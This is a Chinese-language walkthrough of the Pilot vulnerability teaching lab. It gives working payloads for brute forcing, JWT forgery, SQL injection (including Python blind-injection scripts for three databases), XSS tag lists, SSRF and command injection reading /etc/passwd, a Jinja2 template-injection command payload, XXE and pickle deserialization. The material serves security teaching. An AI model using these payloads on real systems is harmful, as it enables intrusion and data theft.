项目原文:Pilot漏洞测试教学靶场
暴力破解
用户名枚举
登录表单随意输入用户名和密码,使用BurpSuite抓住后台登录数据包:
发现响应包提示”账号不存在“,修改
username
参数值为常见管理员账户:admin,并重新发包测试:发现响应包变化为“密码错误”,说明账号已存在系统内不用注册。将数据包发送至爆破模块测试:
在
username
参数处添加变量,并设置payload为常见用户名和与系统相关的用户名,进行枚举测试:通过长度排序,发现存在用户账号
admin
和fanqie
。在最下方发现存在账号
pilot
,且成功碰撞弱口令密码123456
。该处还可通过手机号登录,因此同时存在用户手机号枚举问题。
弱口令枚举
根据 用户名枚举 中获取的账号或手机号,对账号
admin
和fanqie
进行弱口令枚举。在登录处抓包接口,并发送至爆破模块,对password参数添加变量:
设置Payload部分,导入您的常用密码字典,并取消Payload编码:
通过长度排序,发现唯一不同的响应包,提示登录成功:
所以
admin
账户密码为admin
,对账号fanqie
进行爆破:找到成功的响应包,账号
fanqie
的密码为p@ssw0rd
。
Token伪造
使用任意账号登录,并抓包。这里以账号密码
pilot/123456
为例:在响应包中获得Token值。返回WEB页面,点击身份认证按钮并抓包:
可以成功验证登录账号身份为
pilot
。修改参数
username
为管理员账号admin
,尝试伪造身份:提示Token过期或错误,说明Token信息与
username
参数传入的值不匹配,无法验证admin
身份。复制Token值至Token爆破工具jwtcracker,尝试爆破密钥:
获得Token密钥为“1”,通过JWT官方网站伪造Token:
复制修改后的Token,替换身份认证API中的Token值,再次验证:
通过修改Token,成功伪造身份为
admin
。
验证码缺陷
客户端验证码绕过
在WEB页面登录任意账号,输入正确的验证码,并抓包:
可以发现登录Post数据包中并没有上传验证码值至服务端,而是通过参数
verify
的值判断是否通过验证码。由此可以确定,判断验证码是否正确的逻辑,位于WEB客户端的JS代码中,通过F12找到关键代码:
验证码只在客户端有效,登录接口抓包后,只需固定参数
verify=true
,则仍可以进行密码爆破。
服务端验证码绕过
在WEB页面登录任意账号,输入正确的验证码,并抓包:
可以发现登录请求包附带了页面输入的验证码,此时修改密码为错误密码,并重放:
请求包在没有修改验证码的情况下,提示“用户名或密码错误”,而不是验证码错误。
此时再修改密码为正确密码,验证码不变,依旧可以登录成功:
可以发现,验证码虽然经过服务端验证,但是在登录失败时或登录成功后,验证码均未刷新。
因此只需服务端首次完成验证码判断后,固定参数
code
值不变,则仍可进行密码枚举。
敏感信息泄露
系统信息泄露
进入漏洞页面后抓包,并点击页面中唯一按钮先去下一关,发现向服务端发送了一条GET请求:
根据响应包提示,在参数
param
处输入字符'
:可以发现接口返回状态500,并爆出一条数据库错误,此处泄漏了后端SQL信息。在拦截出修改参数并放包:
找到了第一个系统信息泄露点。
在BurpSuite,HTTP历史记录里,通过信息扫描插件(如Hae、FinfoX等)或JS审计,可以发现一条JS请求泄露了内网IP,该IP可能是WEB服务器内网下的其他主机:
找到了第二个系统信息泄漏点。
考虑到系统信息泄露的方式,对网页目录进行扫描,看是否存在备份文件或其他泄露文件。
此处使用Bp进行扫描,您也可以使用专门的目录扫描器,在爆破模块中加入变量并导入备份文件字典:
扫描到存在
1.zip
,该网站可能存在备份文件:找到了第三个系统信息泄露点。
隐私信息泄露
进入漏洞页面,发现此页展示了用户银行卡绑定信息,且对关键隐私信息进行了打码屏蔽:
抓包刷新页面,发现获取数据的接口,重放后发现接口并未对手机号和银行卡等信息打码:
因此可以分析,此处对隐私信息的打码位于客户端的JS代码中,只能起到掩耳盗铃的作用,无法保障隐私数据安全。
账户信息泄露
进入漏洞页面,可以注意到此处的登陆口不同于前面部分,尝试登录系统存在账号,发现无法登录:
根据漏洞名,可以判断账户信息可能通过某处泄露。对该页面抓包检查:
在HTML页面中,发现了注释遗留的测试账号信息,可以成功进行登录:
权限控制
未授权访问
进入漏洞页面,使用管理员账号密码
admin/admin
登录,进入管理员:账户权限管理处:抓包,选择
pilot
用户,选择其UID为管理员权限,点击修改按钮:发现修改功能接口不存在Cookie认证或Token认证,即没有任何认证便可以修改数据,达到未授权访问标准。
对于该类漏洞挖掘,可以通过Burp插件(如Auth等)或是前台接口来发现,危害极大:
水平越权
选取两个权限相同的账号
pilot
和fanqie
,登录pilot/123456
:抓包,输入手机号为:10010,点击修改即可修改自己的账号信息:
在不改变Token的情况下,将
username
参数修改为fanqie
,尝试修改其他用户手机号:登录
fanqie
账号可以发现,信息已被水平越权修改:
垂直越权
选取两个权限不同的账号
admin
和pilot
,登录pilot/123456
:抓包,输入手机号为:10086,点击修改即可修改自己的账号信息:
在不改变Token的情况下,将
username
参数修改为admin
,尝试修改高权限用户手机号:登录
admin
账号可以发现,信息已被垂直越权修改:
SQL注入
Mysql注入
进入漏洞页面,随意登录,并抓取登录数据包:
- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
对登录时通常不会进行加密存储的
username
参数进行Sql注入测试:- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = 'admin'' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
,语法错误。
- 此时的Sql语句为:
可以发现后端数据库产生报错。此处为登录接口,回显点为
username
,即一般考虑联合查询、布尔注入、时间盲注、布尔盲注、报错注入。首先进行联合查询测试,尝试查询数据库名称:
- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = '-1') UNION SELECT database()-- PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
,--
是注释符。
- 此时的Sql语句为:
其次进行布尔测试,判断SQL语句闭合情况,并进行无密码登录:
- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' or '1'='1')-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
,--
是注释符。
- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' or '1'='1' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
可以发现以上两种情况可以正确闭合Sql语句。通过布尔盲注爆破库名,这里演示为使用BurpSuite完成:
- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' and substr(database(),1,1)='a')-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
尝试是否可以进行延时注入,对数据库进行5秒延时:
- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' and sleep(5))-- 'AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
可以进行延时注入。尝试时间盲注爆破库名,这里演示为使用Python脚本完成:
import requests import time url = 'URL网址' flag = '' for i in range(1,1000): high = 127 low = 32 mid = (low + high) // 2 while high > low: payload = f"admin' and if(ascii(substr(database(),{i},1))>{mid},sleep(3),1))-- " data = { "username":payload, "password":'1' } last = int(time.time()) response = requests.post(url, data = data) now = int(time.time()) if now - last > 1 : low = mid + 1 else : high = mid mid = (low + high) // 2 if low != 32 : flag += chr(int(low)) else: break print(flag)
- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' and if(ascii(substr(database(),1,1))>97,sleep(3),1))-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
因为之前已经验证过此处会返回SQL语句报错,故也可以进行报错注入:
- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = 'admin'and updatexml(0x7e,concat(0x7e, (select database())),0x7e) and '1'='1' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
,会报错出数据库名。
- 此时的Sql语句为:
除了登录接口可以注入外,登录后的信息获取接口也可以进行布尔注入、时间注入和报错注入,因为原理一样,此处不再演示。
Mssql注入
进入漏洞页面,随意登录,并抓取登录数据包:
- 此时的Sql语句为:
SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
对登录时通常不会进行加密存储的
username
参数进行Sql注入测试:- 此时的Sql语句为:
SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin'' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
,语法错误。
- 此时的Sql语句为:
可以发现后端数据库产生报错。此处为登录接口,回显点为
username
,即一般考虑联合查询、布尔注入、时间盲注、布尔盲注、报错注入。首先进行联合查询测试,尝试查询数据库名称:
- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = '-1') UNION SELECT db_name()-- PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
,--
是注释符。
- 此时的Sql语句为:
首先进行布尔测试,判断SQL语句闭合情况,并进行无密码登录:
- 此时的Sql语句为:
SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin' or '1'='1')-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
,--
是注释符。
- 此时的Sql语句为:
SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin' or '1'='1' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
可以发现以上两种情况可以正确闭合Sql语句。通过布尔盲注爆破库名,这里演示为使用BurpSuite完成:
- 此时的Sql语句为:
SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin' and substring(db_name(),1,1)='a')-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
尝试是否可以进行延时注入,对数据库进行5秒延时:
- 此时的Sql语句为:
SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin');waitfor delay '0:0:5'-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
,因为waitfor delay
的特性,此处使用了堆叠注入进行配合。
- 此时的Sql语句为:
可以进行延时注入。尝试时间盲注爆破库名,这里演示为使用Python脚本完成:
import requests import time url = 'URL网址' flag = '' for i in range(1,1000): high = 127 low = 32 mid = (low + high) // 2 while high > low: payload = f"admin');if(ascii(substring(db_name(),{i},1))) > {mid} waitfor delay '0:0:3'-- " data = { "username":payload, "password":'1' } last = int(time.time()) response = requests.post(url, data = data) now = int(time.time()) if now - last > 1 : low = mid + 1 else : high = mid mid = (low + high) // 2 if low != 32 : flag += chr(int(low)) else: break print(flag)
- 此时的Sql语句为:
SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin'); if(ascii(substring(db_name(),{i},1))) > {mid} waitfor delay '0:0:3'-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
因为之前已经验证过此处会返回SQL语句报错,故也可以进行报错注入:、
- 此时的Sql语句为:
SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = '1' and 1=convert(int,db_name()))-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
,类型转换会报错出数据库名。
- 此时的Sql语句为:
除了登录接口可以注入外,登录后的信息获取接口也可以进行布尔注入、时间注入和报错注入,因为原理一样,此处不再演示。
PostgreSql注入
进入漏洞页面,随意登录,并抓取登录数据包:
- 此时的Sql语句为:
SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
对登录时通常不会进行加密存储的
username
参数进行Sql注入测试:- 此时的Sql语句为:
SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin'' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')
,语法错误。
- 此时的Sql语句为:
可以发现后端数据库产生报错。此处为登录接口,回显点为
username
,即一般考虑联合查询、布尔注入、时间盲注、布尔盲注、报错注入。首先进行联合查询测试,尝试查询数据库名称:
- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = '-1') UNION SELECT current_database() -- PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
,--
是注释符。
- 此时的Sql语句为:
首先进行布尔测试,判断SQL语句闭合情况,并进行无密码登录:
- 此时的Sql语句为:
SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin' or '1'='1')-- ' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')
,--
是注释符。
- 此时的Sql语句为:
SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin' or '1'='1' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
可以发现以上两种情况可以正确闭合Sql语句。通过布尔盲注爆破库名,这里演示为使用BurpSuite完成:
- 此时的Sql语句为:
SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin' and substring(current_database(),1,1)='a')-- ' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
尝试是否可以进行延时注入,对数据库进行5秒延时:
- 此时的Sql语句为:
SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin' or (select pg_sleep(5)) is null)-- ' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
可以进行延时注入。尝试时间盲注爆破库名,这里演示为使用Python脚本完成:
import requests import time url = 'URL网址' flag = '' for i in range(1,1000): high = 127 low = 32 mid = (low + high) // 2 while high > low: payload = f"admin' and (select case when(ascii(substring(current_database(),{i},1))>{mid}) then pg_sleep(3) else null end) is null)-- " data = { "username":payload, "password":'1' } last = int(time.time()) response = requests.post(url, data = data) now = int(time.time()) if now - last > 1 : low = mid + 1 else : high = mid mid = (low + high) // 2 if low != 32 : flag += chr(int(low)) else: break print(flag)
- 此时的Sql语句为:
SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin' and (select case when(ascii(substring(current_database(),{i},1))>{mid}) then pg_sleep(3) else null end) is null)-- ' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
因为之前已经验证过此处会返回SQL语句报错,故也可以进行报错注入:
- 此时的Sql语句为:
SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin')and cast((select version()) as int)=1-- ' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')
,类型转换会报错出数据库版本号。
- 此时的Sql语句为:
除了登录接口可以注入外,登录后的信息获取接口也可以进行布尔注入、时间注入和报错注入,因为原理一样,此处不再演示。
XSS跨站脚本
反射型XSS
进入漏洞页面后,在搜索框输入跨站脚本payload:
发现
<script>
标签未正常触发XSS,使用<img>
标签进行测试:成功进行XSS,除此标签外,以下标签也可以在本题中XSS:
<input onfocus="alert('xss');">
<iframe onload=alert("xss");></iframe>
<audio src=x onerror=alert("xss");>
<a onclick=alert(1)>M
<div onclick="alert('xss')">
<svg onclick="alert('xss')">
<form/action=javascript:alert(22)><input/type=submit>
- ……
存储型XSS
进入漏洞页面后抓包,登录
admin
账号,发现日志记录了登录时IP地址:考虑在登录请求包中伪造IP:
刷新页面并重新登录,触发XSS:
除此标签外,以下标签也可以在本题中XSS:
<img src=1 onerror=alert(1)>
<input onfocus="alert('xss');">
<iframe onload=alert("xss");></iframe>
<audio src=x onerror=alert("xss");>
<<a onclick=alert(1)>M
<div onclick="alert('xss')">
<svg onclick="alert('xss')">
<form/action=javascript:alert(22)><input/type=submit>
- ……
DOM型XSS
进入漏洞页面后,在输入框输入跨站脚本payload:
发现
<script>
标签无法触发XSS,使用<img>
标签进行测试:成功进行XSS,除此标签外,以下标签也可以在本题中XSS:
<input onfocus="alert('xss');">
<iframe onload=alert("xss");></iframe>
<audio src=x onerror=alert("xss");>
<a onclick=alert(1)>M
<div onclick="alert('xss')">
<svg onclick="alert('xss')">
<form/action=javascript:alert(22)><input/type=submit>
- ……
URL重定向
不安全的URL跳转
进入漏洞页面后,打开F12元素,并指向图片:
发现图片通过链接远程加载,考虑该URL是否可以恶意跳转。
抓包后,点击该图片,发现存在重定向:
在请求包修改重定向链接到
http://www.baidu.com
,发现可以成功跳转到百度页面:
SSRF服务端请求伪造
SSRF远程解析
进入漏洞页面后,抓包,并点击链接留给初学者的一段话:
发现请求了其他网页的文件内容,并展示在前端页面:
修改请求连接的参数
url
,尝试使用file://
伪协议读取本地文件内容:成功读取passwd文件。注意,这里只开放了
file/http/https
协议。
CSRF跨站请求伪造
CSRF
进入漏洞页面,登录
admin
账号:抓包,点击确认修改按钮:
发现是GET请求;删除请求头中
Referer和Origin
字段,不影响发包;且认证信息通过Cookie存储,而不是Token,很容易造成GET型的CSRF。在Burp中右键请求包,选择相关工具中的生产CSRF POC,修改参数
phone
的值为114514,点击在浏览器中测试:复制链接后,在第一步登录admin后的浏览器页面中打开,发现修改成功:
回到漏洞页面,重新登录后,发现数据已经被修改:
文件上传
前端校验
进入漏洞页面,发现只能上传图片;准备一个可造成XSS的HTML文件或PDF文件:
- 例如在HTML文件中写入
<img src=1 onerror=alert(1)>
- 例如在HTML文件中写入
通过F12找到上传检查的代码,或直接搜索关键词(如png、jpg):
可以发现只允许上传固定后缀的文件。将准备好的html文件后缀修改为png,抓包后上传:
将请求包的
filename
参数后缀改回HTML,成功上传:访问上后的文件地址,成功进行XSS:
后端后缀黑名单
进入漏洞页面,发现只能上传图片;准备一个可造成XSS的HTML文件或PDF文件:
- 例如在HTML文件中写入
<img src=1 onerror=alert(1)>
- 例如在HTML文件中写入
通过F12找到上传检查的代码,发现并无限制。选择文件,抓包上传:
发现后端加入了文件类型判断,考虑进行绕过。
绕过方式1:尝试未被屏蔽的其他后缀替代,如
html->htm
、php->php5
、docx->doc
绕过方式2:尝试使用大小写绕过,如
html->Html
除此之外,还有一些绕过方式不适合本题(代码写法和Linux系统原因):双写绕过、后缀加
.
、后缀加空格或其他非法字符、::$DATA
绕过、%00截断绕过等。
后端校验类型
进入漏洞页面,发现只能上传图片;准备一个可造成XSS的HTML文件或PDF文件:
- 例如在HTML文件中写入
<img src=1 onerror=alert(1)>
- 例如在HTML文件中写入
通过F12找到上传检查的代码,发现并无限制。选择文件,抓包上传:
上传失败,修改后缀为
.htm
进行绕过,发现依旧无法上传:同时修改
Content-Type
值为image/jpeg
,尝试绕过类型检查:成功上传,且可以访问造成XSS:
除此之外,还可能对图片特有的文件头进行检查,或采用白名单限制,提高安全性。
目录穿越
进入漏洞页面,发现只能上传图片;准备一个可造成XSS的HTML文件或PDF文件:
- 例如在HTML文件中写入
<img src=1 onerror=alert(1)>
- 例如在HTML文件中写入
通过F12找到上传检查的代码,发现并无限制。选择文件,抓包上传:
发现并没有任何过滤即可上传,且未对文件加密,并返回了文件存储路径。
尝试修改文件名,看能否穿越目录上传恶意HTML文件:
成功上传至上一级目录,并造成XSS:
文件下载
任意文件下载
进入漏洞页面,抓包并下载任意文件:
发现参数
file
传入了文件名,尝试穿越目录下载任意文件:
RCE远程命令执行
命令执行
进入漏洞页面,发现服务器进程监控每隔固定时间会刷新。
抓包拦截刷新请求,发现通过Base64编码进行了命令执行,返回了进程信息:
修改命令为
cat /etc/passwd
,读取虚拟机的密码信息:成功执行命令。
拼接命令执行
进入漏洞页面,抓包并刷入本地回环地址,尝试PING:
直接返回了PING的结果,考虑直接执行了命令,在地址后对命令进行拼接:
管道符 | 将前一个命令的输出作为后一个命令的输入进行处理;两个管道符表示前一个命令执行成功则不执行后面的命令,因为ls无需接受输入,所以直接输出了ls的结果。
SSTI模板注入
JINJA2模板注入
在漏洞页面直接输入Payload即可,尝试表达式
{{7*7}}
进行运算:尝试执行命令,打印字符(payload有多种,这里随便测试一种):
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("echo fanqie").read()') }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
XML外部实体注入
XXE
在漏洞页面直接输入xml代码即可,尝试打印字符串:
]>
&fanqie;
尝试外部实体注入(XXE),读取系统文件:
]>
&fanqie;
Python反序列化
pickle反序列化
进入漏洞页面,发现服务器进程监控每隔固定时间会刷新。
抓包拦截刷新请求,发现通过Base64编码进行了命令执行,但无法解码出命令:
根据格式判断,此处考虑解码后的数据经过Pickle序列化为字节类型,所以写脚本尝试验证:
import base64, pickle data = "gASVDwAAAAAAAACMC3RvcCAtYiAtbiAxlC4=" print(pickle.loads(base64.b64decode(data)))
成功反序列化出命令。重新写脚本,将需要执行的系统命令序列化并编码:
import pickle,base64 print(base64.b64encode(pickle.dumps("echo 'python pickle serialize'")))
将生成的字符串编码放入请求包重新执行,成功执行命令: